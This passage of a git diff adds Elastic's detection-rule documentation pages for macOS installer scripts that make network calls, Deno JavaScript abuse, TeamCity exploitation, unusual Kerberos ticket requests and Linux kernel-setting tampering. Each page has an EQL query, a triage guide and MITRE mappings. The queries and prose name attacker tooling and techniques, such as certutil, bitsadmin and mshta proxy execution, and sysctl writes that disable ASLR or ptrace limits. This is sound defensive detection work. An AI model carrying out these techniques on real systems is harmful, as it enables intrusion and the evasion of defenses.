Defend +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Installer Package Spawns Network Event* + + +MacOS installer packages, often with a .pkg extension, are used to distribute software. Adversaries exploit this by embedding scripts to execute additional commands or download malicious payloads. The detection rule identifies suspicious behavior by monitoring for installer packages spawning shell processes followed by network activity, indicating potential malicious activity. + + +*Possible investigation steps* + + +- Review the process details to identify the parent process name and entity ID, focusing on processes like "installer" or "package_script_service" that initiated the suspicious activity. +- Examine the child process that was spawned, such as "bash", "sh", or "python", to determine the commands executed and assess if they align with typical installation behavior or appear malicious. +- Investigate the network activity associated with the suspicious process, particularly looking at processes like "curl" or "wget", to identify any external connections made and the destination IP addresses or domains. +- Check the timestamp and sequence of events to confirm if the network activity closely followed the process execution, indicating a potential download or data exfiltration attempt. +- Analyze any downloaded files or payloads for malicious content using threat intelligence tools or sandbox environments to determine their intent and potential impact. +- Correlate the findings with known threat actor tactics or campaigns, leveraging threat intelligence sources to assess if the activity matches any known patterns or indicators of compromise. + + +*False positive analysis* + + +- Legitimate software installations may trigger this rule if they use scripts to configure network settings or download updates. Users can create exceptions for known safe software by whitelisting specific installer package names or hashes. +- System administrators often use scripts to automate software deployment and updates, which might involve network activity. To reduce false positives, exclude processes initiated by trusted administrative tools or scripts. +- Development environments on macOS might execute scripts that connect to the internet for dependencies or updates. Users can mitigate this by excluding processes associated with known development tools or environments. +- Some security tools or monitoring software may use scripts to perform network checks or updates. Identify and exclude these processes if they are verified as non-threatening. +- Frequent updates from trusted software vendors might trigger this rule. Users should maintain an updated list of trusted vendors and exclude their processes from triggering alerts. + + +*Response and remediation* + + +- Isolate the affected MacOS system from the network immediately to prevent further malicious activity or data exfiltration. +- Terminate any suspicious processes identified in the alert, such as those initiated by the installer package, to halt ongoing malicious actions. +- Conduct a thorough review of the installed applications and remove any unauthorized or suspicious software, especially those with a .pkg extension. +- Restore the system from a known good backup if available, ensuring that the backup predates the installation of the malicious package. +- Update and patch the MacOS system and all installed applications to the latest versions to mitigate vulnerabilities that could be exploited by similar threats. +- Monitor network traffic for any signs of command and control communication or data exfiltration attempts, using the indicators identified in the alert. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=15s +[process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and process.parent.name like~ ("installer", "package_script_service") and ((process.name in ("bash", "sh", "zsh") and process.args == "-c") or (process.name like~ ("python*", "osascript", "tclsh*", "curl", "nscurl")))] +[network where host.os.type == "macos" and event.type == "start"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-javascript-execution-via-deno.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-javascript-execution-via-deno.asciidoc new file mode 100644 index 0000000000..b127e9053b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-javascript-execution-via-deno.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-20-suspicious-javascript-execution-via-deno]] +=== Suspicious JavaScript Execution via Deno + +Detects execution of JavaScript via Deno with suspicious command-line patterns (base64, eval, http, or import in a javascript context). Adversaries may abuse Deno to run malicious JavaScript for execution or staging. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://reliaquest.com/blog/threat-spotlight-casting-a-wider-net-clickfix-deno-and-leaknets-scaling-threat +* https://deno.com/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious JavaScript Execution via Deno* + + +Deno is a legitimate JavaScript/TypeScript runtime. This rule fires when a Deno process (identified by name, PE original filename, or code signer "Deno Land Inc.") is started with a command line matching suspicious patterns: javascript with base64, eval(, http, or javascript import. Such patterns are commonly used to run inline or remote scripts and can indicate abuse. + + +*Possible investigation steps* + + +- Review process.command_line and process.args to see the exact script or URL being executed. +- Identify the parent process and how Deno was launched (user, script, terminal, or other tool). +- Check whether Deno is approved on the host; if not, treat as potential unauthorized software execution. +- Correlate with file creation or network events around the same time (downloads, script drops). + + +*False positive analysis* + + +- Legitimate development or automation that runs Deno with eval, http imports, or base64-encoded snippets may trigger; allowlist by host or command-line pattern where appropriate. + + +*Response and remediation* + + +- If abuse is confirmed: contain the host, terminate the Deno process, and remove or block Deno if not authorized; investigate how the script was delivered and scope for similar activity. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "deno.exe" or ?process.pe.original_file_name == "deno.exe" or ?process.code_signature.subject_name == "Deno Land Inc.") and + process.command_line : ("*javascript*base64*", "*eval(*", "*http*", "*javascript*import*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-jetbrains-teamcity-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-jetbrains-teamcity-child-process.asciidoc new file mode 100644 index 0000000000..396117b810 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-jetbrains-teamcity-child-process.asciidoc @@ -0,0 +1,223 @@ +[[prebuilt-rule-8-19-20-suspicious-jetbrains-teamcity-child-process]] +=== Suspicious JetBrains TeamCity Child Process + +Identifies suspicious processes being spawned by the JetBrain TeamCity process. This activity could be related to JetBrains remote code execution vulnerabilities. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.trendmicro.com/en_us/research/24/c/teamcity-vulnerability-exploits-lead-to-jasmin-ransomware.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Microsoft Defender for Endpoint +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 208 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious JetBrains TeamCity Child Process* + + +JetBrains TeamCity is a continuous integration and deployment server used to automate software development processes. Adversaries may exploit vulnerabilities in TeamCity to execute unauthorized code, potentially spawning malicious child processes. The detection rule identifies unusual child processes initiated by TeamCity's Java executable, flagging potential exploitation attempts by monitoring for known suspicious executables, while excluding legitimate operations. + + +*Possible investigation steps* + + +- Review the process tree to identify the parent and child processes associated with the suspicious activity, focusing on the parent executable paths like "?:\TeamCity\jre\bin\java.exe". +- Examine the command-line arguments of the suspicious child processes, especially those involving "cmd.exe" or "powershell.exe", to understand the actions being executed. +- Check for any recent vulnerabilities or patches related to JetBrains TeamCity that might explain the suspicious behavior. +- Investigate the user account under which the suspicious processes were executed to determine if it aligns with expected usage patterns or if it indicates potential compromise. +- Correlate the alert with other security events or logs from data sources like Sysmon or Microsoft Defender for Endpoint to identify any related malicious activity or indicators of compromise. +- Assess network activity from the host to detect any unusual outbound connections that might suggest data exfiltration or communication with a command and control server. + + +*False positive analysis* + + +- Legitimate build scripts may invoke command-line utilities like cmd.exe or powershell.exe. To handle these, create exceptions for specific scripts by matching known safe arguments or paths. +- Automated tasks or maintenance scripts might use network utilities such as ping.exe or netstat.exe. Exclude these by identifying and allowing specific scheduled tasks or maintenance windows. +- System monitoring tools could trigger processes like tasklist.exe or systeminfo.exe. Whitelist these tools by verifying their source and ensuring they are part of authorized monitoring solutions. +- Development or testing environments may frequently use utilities like explorer.exe or control.exe. Establish exceptions for these environments by defining specific hostnames or IP ranges where such activity is expected. +- Custom scripts or applications might use msiexec.exe for legitimate software installations. Allow these by confirming the source and purpose of the installations, and excluding them based on known safe paths or signatures. + + +*Response and remediation* + + +- Immediately isolate the affected TeamCity server from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious child processes identified by the detection rule, such as cmd.exe or powershell.exe, to halt potential malicious activities. +- Conduct a thorough review of recent changes and deployments in TeamCity to identify any unauthorized modifications or suspicious activities. +- Apply the latest security patches and updates to TeamCity and its underlying Java runtime environment to mitigate known vulnerabilities. +- Restore the affected system from a clean backup taken before the suspicious activity was detected, ensuring no remnants of the exploit remain. +- Monitor network traffic and system logs for any signs of continued or related suspicious activity, focusing on the indicators identified in the detection rule. +- Escalate the incident to the security operations center (SOC) or relevant IT security team for further investigation and to assess the need for additional security measures. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.executable : + ("?:\\TeamCity\\jre\\bin\\java.exe", + "?:\\Program Files\\TeamCity\\jre\\bin\\java.exe", + "?:\\Program Files (x86)\\TeamCity\\jre\\bin\\java.exe", + "?:\\TeamCity\\BuildAgent\\jre\\bin\\java.exe") and + process.name : ("cmd.exe", "powershell.exe", "msiexec.exe", "certutil.exe", "bitsadmin.exe", "wmic.exe", "curl.exe", "ssh.exe", + "rundll32.exe", "regsvr32.exe", "mshta.exe", "certreq.exe", "net.exe", "nltest.exe", "whoami.exe", "hostname.exe", + "tasklist.exe", "arp.exe", "nbtstat.exe", "netstat.exe", "reg.exe", "tasklist.exe", "Microsoft.Workflow.Compiler.exe", + "arp.exe", "atbroker.exe", "bginfo.exe", "bitsadmin.exe", "cdb.exe", "cmstp.exe", "control.exe", "cscript.exe", "csi.exe", + "dnx.exe", "dsget.exe", "dsquery.exe", "forfiles.exe", "fsi.exe", "ftp.exe", "gpresult.exe", "ieexec.exe", "iexpress.exe", + "installutil.exe", "ipconfig.exe","msxsl.exe", "netsh.exe", "odbcconf.exe", "ping.exe", "pwsh.exe", "qprocess.exe", + "quser.exe", "qwinsta.exe", "rcsi.exe", "regasm.exe", "regsvcs.exe", "regsvr32.exe", "sc.exe", "schtasks.exe", + "systeminfo.exe", "tracert.exe", "wmic.exe", "wscript.exe","xwizard.exe", "explorer.exe", "msdt.exe") and + not (process.name : "powershell.exe" and process.args : "-ExecutionPolicy" and process.args : "?:\\TeamCity\\buildAgent\\work\\*.ps1") and + not (process.name : "cmd.exe" and process.args : "dir" and process.args : "/-c") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Sub-technique: +** Name: Odbcconf +** ID: T1218.008 +** Reference URL: https://attack.mitre.org/techniques/T1218/008/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: System Network Connections Discovery +** ID: T1049 +** Reference URL: https://attack.mitre.org/techniques/T1049/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Technique: +** Name: Domain Trust Discovery +** ID: T1482 +** Reference URL: https://attack.mitre.org/techniques/T1482/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-kerberos-authentication-ticket-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-kerberos-authentication-ticket-request.asciidoc new file mode 100644 index 0000000000..76b1f62191 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-kerberos-authentication-ticket-request.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-20-suspicious-kerberos-authentication-ticket-request]] +=== Suspicious Kerberos Authentication Ticket Request + +Correlates network connections to the standard Kerberos port by an unusual process from the source machine with a Kerberos authentication ticket request from the target domain controller. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/its-a-feature/bifrost +* https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768 + +*Tags*: + +* Domain: Endpoint +* Domain: Identity +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Lateral Movement +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Kerberos Authentication Ticket Request* + + +Kerberos is the default authentication protocol in Active Directory, designed to provide strong authentication for client/server applications by using secret-key cryptography. + +Domain-joined hosts usually perform Kerberos traffic using the `lsass.exe` process. This rule detects the occurrence of traffic on the Kerberos port (88) by processes other than `lsass.exe` to detect the unusual request and usage of Kerberos tickets. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Check if the Destination IP is related to a Domain Controller. +- Review events ID 4769 and 4768 for suspicious ticket requests. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- Active Directory audit tools. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. + - Ticket requests can be used to investigate potentially compromised accounts. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by source.port, source.ip with maxspan=3s + [network where host.os.type == "windows" and destination.port == 88 and + process.executable != null and process.pid != 4 and + not process.executable : + ("?:\\Windows\\system32\\lsass.exe", + "\\device\\harddiskvolume*\\windows\\system32\\lsass.exe", + "\\device\\harddiskvolume*\\windows\\system32\\svchost.exe") and + not (process.executable : ("C:\\Windows\\System32\\svchost.exe", + "C:\\Program Files\\VMware\\VMware View\\Server\\bin\\ws_TomcatService.exe", + "F:\\IGEL\\RemoteManager\\*\\bin\\tomcat10.exe") and user.id in ("S-1-5-20", "S-1-5-18")) and + source.ip != "127.0.0.1" and destination.ip != "::1" and destination.ip != "127.0.0.1"] + [authentication where host.os.type == "windows" and event.code in ("4768", "4769")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Pass the Ticket +** ID: T1550.003 +** Reference URL: https://attack.mitre.org/techniques/T1550/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Sub-technique: +** Name: Kerberoasting +** ID: T1558.003 +** Reference URL: https://attack.mitre.org/techniques/T1558/003/ +* Sub-technique: +** Name: AS-REP Roasting +** ID: T1558.004 +** Reference URL: https://attack.mitre.org/techniques/T1558/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-kernel-feature-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-kernel-feature-activity.asciidoc new file mode 100644 index 0000000000..f8ad18d588 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-kernel-feature-activity.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-20-suspicious-kernel-feature-activity]] +=== Suspicious Kernel Feature Activity + +This rule detects the modification and reading of kernel features through built-in commands. Attackers may collect information, disable or weaken Linux kernel protections. For example, an attacker may modify ASLR protection by disabling kernel.randomize_va_space, allow ptrace by setting kernel.yama.ptrace_scope to 0, or disable the NMI watchdog by setting kernel.nmi_watchdog to 0. These changes may be used to impair defenses and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Kernel Feature Activity* + + +Kernel features in Linux systems are critical for maintaining security and stability. They control various system behaviors, such as memory randomization and process tracing. Adversaries may exploit these features to weaken defenses, for instance, by disabling address space layout randomization (ASLR) or enabling unrestricted process tracing. The detection rule identifies suspicious activities by monitoring command executions that modify or read kernel settings, focusing on unusual patterns or contexts that suggest malicious intent. + + +*Possible investigation steps* + + +- Review the process command line to identify which specific kernel feature was accessed or modified, focusing on entries like kernel.randomize_va_space or kernel.yama.ptrace_scope. +- Examine the parent process executable and name to determine the context in which the suspicious command was executed, checking for unusual or unauthorized parent processes. +- Investigate the user account associated with the process execution to assess whether the activity aligns with expected behavior for that user. +- Check for any recent changes in the /etc/sysctl.conf or /etc/sysctl.d/ directories that might indicate unauthorized modifications to kernel settings. +- Analyze the system's process execution history to identify any patterns or sequences of commands that suggest a broader attack or compromise. +- Correlate the alert with other security events or logs to determine if this activity is part of a larger attack campaign or isolated incident. + + +*False positive analysis* + + +- System administrators or automated scripts may frequently modify kernel settings for legitimate purposes such as performance tuning or system maintenance. To handle these, identify and whitelist known administrative scripts or processes that regularly perform these actions. +- Security tools or monitoring solutions might execute commands that read kernel settings as part of their normal operation. Review and exclude these tools from triggering alerts by adding them to an exception list based on their process names or command patterns. +- Developers and testers might disable certain kernel features temporarily during debugging or testing phases. Coordinate with development teams to document these activities and exclude them from detection by specifying the relevant process names or command lines. +- Some system management tools may use commands like sysctl to apply configuration changes across multiple systems. If these tools are verified as non-threatening, exclude their specific command patterns or parent processes from triggering the rule. +- Regular system updates or configuration management processes might involve reading or modifying kernel settings. Identify these processes and add them to an exception list to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary. +- Review and revert any unauthorized changes to kernel settings, such as ASLR, ptrace scope, or NMI watchdog, to their secure defaults using sysctl or by editing configuration files. +- Conduct a thorough examination of the system for signs of compromise, including checking for unauthorized access, unusual processes, or modifications to critical files. +- Restore the system from a known good backup if the integrity of the system is compromised and cannot be reliably remediated. +- Implement additional monitoring and logging for kernel feature modifications to detect similar activities in the future, ensuring alerts are configured for immediate response. +- Escalate the incident to the security operations center (SOC) or relevant security team for further investigation and correlation with other potential threats across the network. +- Review and update security policies and configurations to prevent unauthorized kernel modifications, including enforcing stricter access controls and auditing procedures. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and +process.command_line : ( + "*/etc/sysctl.conf*", "*/etc/sysctl.d/*", "*/proc/sys/kernel/nmi_watchdog*", + "*/proc/sys/vm/nr_hugepages*", "*/proc/sys/kernel/yama/ptrace_scope*", + "*/proc/sys/kernel/randomize_va_space*", "*/proc/sys/vm/drop_caches*", + "*/proc/sys/kernel/sysrq*", "*grsecurity*", "*exec-shield*", + "*kernel.randomize_va_space*", "*kernel.yama.ptrace_scope*", + "*kernel.nmi_watchdog*", "*vm.nr_hugepages*", "*vm.drop_caches*", + "*kernel.sysrq*" +) and +?process.parent.executable != null and +( + (process.name == "tee" and process.args like "-*a*") or // also detects --append + (process.name == "cat" and not process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")) or + (process.name == "grep" and process.args_count == 3 and not process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")) or + (process.name == "sysctl" and process.args like ("*-w*", "*--write*", "*=*")) or + (process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and process.args : "*echo *") +) and +not ( + process.parent.executable in ( + "/opt/novell/groupwise/agents/bin/gwia", "/opt/novell/groupwise/agents/bin/gwmta", "/opt/novell/groupwise/agents/bin/gwpoa", + "/opt/illumio_ven/system/etc/init.d/illumio-firewall", "/usr/bin/oracle-database-preinstall-19c-verify", "/usr/bin/make", + "/usr/local/qualys/cloud-agent/bin/qualys-scan-util" + ) or + process.parent.executable like "/tmp/CVU_19_resource*/checkmemlock.sh" or + process.parent.args == "/usr/share/mysql/mysql-systemd-start" or + process.parent.command_line like "*ansible*" or + (process.parent.name in ("crond", "cron") and process.command_line like "*drop_caches*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Indicator Blocking +** ID: T1562.006 +** Reference 